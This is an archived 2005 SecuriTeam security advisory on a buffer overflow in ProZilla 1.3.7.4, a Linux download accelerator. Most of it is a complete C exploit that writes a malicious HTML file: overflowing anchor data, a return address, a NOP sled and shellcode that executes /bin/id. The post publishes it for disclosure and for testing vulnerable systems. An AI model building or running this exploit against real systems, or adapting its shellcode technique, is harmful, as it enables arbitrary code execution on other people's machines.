[EXPL] ProZilla Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/06/05

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    Date: 6 Oct 2005 16:13:05 +0200
    
    

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      ProZilla Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://prozilla.genesys.ro/> ProZilla is a download accelerator for
    Linux which gives you a 200% to 300% improvement in your file downloading
    speeds. "

    Prozilla does not validate length properly allowing attackers to cause the
    program to execute arbitrary code by overflowing an internal buffer, the
    following exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Vulnerable Systems:
     * Prozilla version 1.3.7.4

    Exploit:
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>

    #define OVERFLOW (1<<10)+32
    #define SLEDSIZ (1<<10)
    #define RETADDR 0x806977a+SLEDSIZ/2
    #define OUTPUT "AdvResults.asp"

    /*
    * prozilla bug, found while auditing for gentoo bug #70090
    * -taviso@gentoo.org
    */

    /* execve() /bin/id */
    unsigned char shellcode[] =
    "\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"
    "\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"
    "\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"
    "\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"
    "\x9f\xcf\x2d\x8e";

    int main(int argc, char **argv)
    {
    unsigned char *buf;
    void *ret = (void *) RETADDR;
    FILE *exploit;
    int i;

    exploit = fopen(OUTPUT, "w");
    fprintf(exploit, "<PRE><A HREF=>");

    buf = malloc(OVERFLOW);
    for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
    memcpy(buf + i, &ret, sizeof(void *));
    fwrite(buf, OVERFLOW, 1, exploit);
    fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
    buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
    memset(buf, 0x90, SLEDSIZ);
    memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
    fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
    free(buf);
    fprintf(stderr, "[*] %s created.\n", OUTPUT);
    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:taviso@gentoo.org> taviso.

    ========================================

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